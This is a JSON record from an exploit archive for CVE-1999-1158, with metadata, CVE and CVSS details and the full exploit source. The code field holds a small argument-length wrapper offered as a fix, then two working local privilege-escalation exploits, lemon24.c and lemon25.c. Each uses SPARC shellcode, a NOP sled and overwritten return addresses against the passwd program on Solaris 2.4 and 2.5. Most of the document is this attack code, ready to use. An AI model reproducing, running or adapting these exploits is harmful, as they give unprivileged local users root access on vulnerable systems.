{"exploit":{"id":"EDB-341","name":"Sun Solaris 2.4 passwd/yppasswd/nispasswd - Local Overflow","description":"Sun Solaris 2.4 passwd/yppasswd/nispasswd - Local Overflow","cves":["CVE-1999-1158"],"author":"Cristian Schipor","published":"1997-07-12","platform":"solaris","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/341","path":"exploits/solaris/local/341.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-341.txt","vulnerabilities":[{"id":"CVE-1999-1158","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in (1) pluggable authentication module (PAM) on Solaris 2.5.1 and 2.5 and (2) unix_scheme in Solaris 2.4 and 2.3 allows local users to gain root privileges via programs that use these modules such as passwd, yppasswd, and nispasswd.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-1999-1158","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-1999-1158"},"updatedAt":"2024-08-01T17:02:53.755Z","retrievedAt":"2026-11-26T13:10:22.738Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-341.png?v=2","url":"https://exploitbin.com/exploits/EDB-341","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-341/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-341/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"---------------------------- file newpass.c -------------------------------\n#include <stdio.h>\n#include <syslog.h>\n\n#define hidden_passwd \"/bin/hpasswd\" /*change here ...*/\n#define MAX_LENGTH 32\n\nvoid main(int argc, char *argv[])\n{\nint i;\nchar *args[10];\n\n        if(argc < 10)\n        {\n                args[0]=hidden_passwd;\n                for(i = 1; i<argc; i++)\n                {\n                        if(strlen(argv[i]) > MAX_LENGTH)\n                        {\n                                printf(\"You reached the maximum length in\nargs\\n\");\n                                exit(0);\n                        }\n                        else args[i]=argv[i];\n                }\n                args[i]=(char *)0;\n                execv(args[0],args);\n        }\n        else\n        {\n                printf(\"You reached the maximum number of args !\\n\");\n        }\n}\n\n---------------------------- end newpass.c -----------------------------------\n\n\n\n------------------------------ EXPLOITS ----------------------------------\n\n\n\n------------------------------ lemon24.c --------------------------------\n/*\nExploit for Solaris 2.4 ( it is a little and subtile different  beetwen\nthis\nexploit and the prog for Solaris 2.5 - the overflow buffer is shifted\nwith 1 char )\nWith argv[1] you can modify the stack_offset (+-256).\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\n#define BUF_LENGTH      600\n#define EXTRA           600\n#define STACK_OFFSET    1400\n#define SPARC_NOP       0xa61cc013\n\nu_char sparc_shellcode[] =\n\"\\x2d\\x0b\\xd8\\x9a\\xac\\x15\\xa1\\x6e\\x2f\\x0b\\xda\\xdc\\xae\\x15\\xe3\\x68\"\n\"\\x90\\x0b\\x80\\x0e\\x92\\x03\\xa0\\x0c\\x94\\x1a\\x80\\x0a\\x9c\\x03\\xa0\\x14\"\n\"\\xec\\x3b\\xbf\\xec\\xc0\\x23\\xbf\\xf4\\xdc\\x23\\xbf\\xf8\\xc0\\x23\\xbf\\xfc\"\n\"\\x82\\x10\\x20\\x3b\\x91\\xd0\\x20\\x08\\x90\\x1b\\xc0\\x0f\\x82\\x10\\x20\\x01\"\n\"\\x91\\xd0\\x20\\x08\"\n;\n\nu_long get_sp(void)\n{\n  __asm__(\"mov %sp,%i0 \\n\");\n}\n\nvoid main(int argc, char *argv[])\n{\n  char buf[BUF_LENGTH + EXTRA + 8];\n  long targ_addr;\n  u_long *long_p;\n  u_char *char_p;\n  int i, code_length = strlen(sparc_shellcode),dso=0;\n\n  if(argc > 1) dso=atoi(argv[1]);\n\n  long_p =(u_long *)  buf ;\n    targ_addr = get_sp() - STACK_OFFSET - dso;\n\n  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)\n    *long_p++ = SPARC_NOP;\n\n  char_p = (u_char *) long_p;\n\n  for (i = 0; i < code_length; i++)\n    *char_p++ = sparc_shellcode[i];\n\n  long_p = (u_long *) char_p;\n\n\n  for (i = 0; i < EXTRA / sizeof(u_long); i++)\n    *long_p++ =targ_addr;\n\n  printf(\"Jumping to address 0x%lx B[%d] E[%d] SO[%d]\\n\",\n  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);\n  execl(\"/bin/passwd\", \"passwd\", & buf[1],(char *) 0);\n  perror(\"execl failed\");\n}\n\n-------------------------------- end of lemon24.c ----------------------------\n\n---------------------------------- lemon25.c --------------------------------\n\n/*\nThis is for Solaris 2.5.(1) !\nWith argv[1] you can modify the stack offset (+-500) if you have troubles\n...\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <unistd.h>\n\n#define BUF_LENGTH      1100\n#define EXTRA           1200\n#define STACK_OFFSET    3800\n#define SPARC_NOP       0xa61cc013\n\nu_char sparc_shellcode[] =\n\"\\x82\\x10\\x20\\xca\\xa6\\x1c\\xc0\\x13\\x90\\x0c\\xc0\\x13\\x92\\x0c\\xc0\\x13\"\n\"\\xa6\\x04\\xe0\\x01\\x91\\xd4\\xff\\xff\\x2d\\x0b\\xd8\\x9a\\xac\\x15\\xa1\\x6e\"\n\"\\x2f\\x0b\\xdc\\xda\\x90\\x0b\\x80\\x0e\\x92\\x03\\xa0\\x08\\x94\\x1a\\x80\\x0a\"\n\"\\x9c\\x03\\xa0\\x10\\xec\\x3b\\xbf\\xf0\\xdc\\x23\\xbf\\xf8\\xc0\\x23\\xbf\\xfc\"\n\"\\x82\\x10\\x20\\x3b\\x91\\xd4\\xff\\xff\"\n;\n\nu_long get_sp(void)\n{\n  __asm__(\"mov %sp,%i0 \\n\");\n}\n\nvoid main(int argc, char *argv[])\n{\n  char buf[BUF_LENGTH + EXTRA];\n  long targ_addr;\n  u_long *long_p;\n  u_char *char_p;\n  int i, code_length = strlen(sparc_shellcode),dso=0;\n\n  if(argc > 1) dso=atoi(argv[1]);\n\n  long_p =(u_long *)  buf;\n    targ_addr = get_sp() - STACK_OFFSET - dso;\n\n  for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)\n    *long_p++ = SPARC_NOP;\n\n  char_p = (u_char *) long_p;\n\n  for (i = 0; i < code_length; i++)\n    *char_p++ = sparc_shellcode[i];\n\n  long_p = (u_long *) char_p;\n\n\n  for (i = 0; i < EXTRA / sizeof(u_long); i++)\n    *long_p++ =targ_addr;\n\n  printf(\"Jumping to address 0x%lx B[%d] E[%d] SO[%d]\\n\",\n  targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);\n  execl(\"/bin/passwd\", \"passwd\", buf,(char *) 0);\n  perror(\"execl failed\");\n}\n\n----------------------------------- end of lemon25.c -----------------------------------\n\n// milw0rm.com [1997-07-12]","sha256":"22a0d9a9983686e4bbf459946feca57ff6c1dda0facd9e517da4fb4a65e4d0df","bytes":4444,"fetchedAt":"2026-11-26T13:10:22.563Z","encoding":"utf-8 (display only; download retains original bytes)"}